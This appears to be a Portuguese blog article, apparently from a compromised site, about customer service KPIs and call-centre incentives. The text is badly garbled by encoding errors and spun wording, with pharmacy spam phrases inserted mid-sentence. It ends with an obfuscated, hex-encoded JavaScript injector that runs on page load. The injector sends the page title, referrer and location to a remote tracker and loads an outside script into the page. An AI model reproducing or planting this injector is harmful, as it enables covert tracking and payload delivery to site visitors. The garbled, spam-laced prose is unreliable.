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Medindo o performance do serviAi??os ao cliente – Crm Metrics

08Feb

Por de que estA? acontecendo tantas vezes? Acredite ou nA?o este que vocA? estA? vendo pode ser refletido no Atendimento ao Cliente pt.datarooms.org dado pelo privada da linha de frente aos clientes da companhia. As manchetes gritam sobre outro CEO ou CFO desencaminhar a companhia ou desarmado.

O executivo foi entA?o motivado para, acima de tudo, ver estes preAi??os de aAi??Ai??es subirem, mesmo que isso signifique alienar clientes ou precisamente quebrar a empresa. Algumas empresas tentaram restringir essas prA?ticas ao proibir a venda de aAi??Ai??es pelos funcionA?rios. As opAi??Ai??es de aAi??Ai??es geralmente sA?o tA?o lucrativas que o salA?rio parece infinitesimal em comparaAi??A?o. Os pacotes de remuneraAi??A?o dos executivos geralmente sA?o baseados em salA?rios e bA?nus que sA?o pagos em opAi??Ai??es de aAi??Ai??es. Significativo que, entA?o, a motivaAi??A?o se torna inflacionar o estoque este mA?ximo possAi??vel, atAi?? exatamente temporariamente, sair, depois alienar o estoque. EntA?o, tais como isso reflete no desempenho do serviAi??o ao cliente? Uma empresa cujo KPI seja acima de tudo baseada em incentivos geralmente infundirA? tal filosofia em toda a estrutura corporativa. Quando o estoque sobe, este order depoprovera online. executivo este vende. Assim, o Atendimento ao Cliente torna-se como incentivo com base nas opAi??Ai??es de compra de aAi??Ai??es do CEO ou a comissA?o paga Ai?? equipe de vendas. Considere isto.

Um pedido cai destes escritA?rios executivos que nenhuma chamada deve levar ainda mais de 7 minutos para completar ou que estes bA?nus destes funcionA?rios do Call Center sA?o baseados em limpar o nA?mero mA?ximo do chamadas de maneira rA?pida e eficiente. Em breve, os representantes do centro de chamadas estA?o pendurados nos clientes para inflar sua relaAi??A?o de chamadas / mudanAi??as. Permanecequeda tudo bem atAi?? surgir new healthy man viagra reviews. uma enorme questA?o que demora ainda mais de 20 minutos e, de repente, o representante do centro de chamadas anteriormente A?til estA? tomando todo este possAi??vel para agitar o chamador fora da linha.

As suas perguntas foram respondidas de maneira adequada e profissional?? Este novo KPI reflete mais precisamente se este Cliente certamente sente ou nA?o de que recebeu 1 nAi??vel do serviAi??o de que atende Ai??s suas necessidades. Enquanto o KPI do Desempenho do ServiAi??o ao Cliente se basear no nAi??vel de satisfaAi??A?o online cialis 40 mg purchase. quantificA?vel e nA?o verdadeiro do Cliente, esses cenA?rios continuarA?o a frustrar o pA?blico comprador. Ai?? especialmente por isso que algumas companhias introduziram mecanismos mais confiA?veis de medir o desempenho do serviAi??o ao cliente. HA? algo ainda mais com o qual podemos ajudA?-lo este momento? Ai??s vezes, essas perguntas sA?o construidas pelo prA?prio representante e Ai??s vezes uma chamada de acompanhamento Ai?? fabricada por um supervisor ou outro representante. Ao alterar o KPI de quantidade para a qualidade, o pessoal estA? mais inclinado a dar um cliente realmente satisfeito. VocA? estA? satisfeito com as respostas Ai??s suas perguntas? Esses modelos se aparentam com blogar: quando as perguntas destes clientes foram respondidas, uma sAi??rie do perguntas sA?o feitas pelo representante do ServiAi??o ao Cliente. A resposta do Cliente a essas questAi??es qualitativas torna-se o principal KPI de atendimento ao cliente.

\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}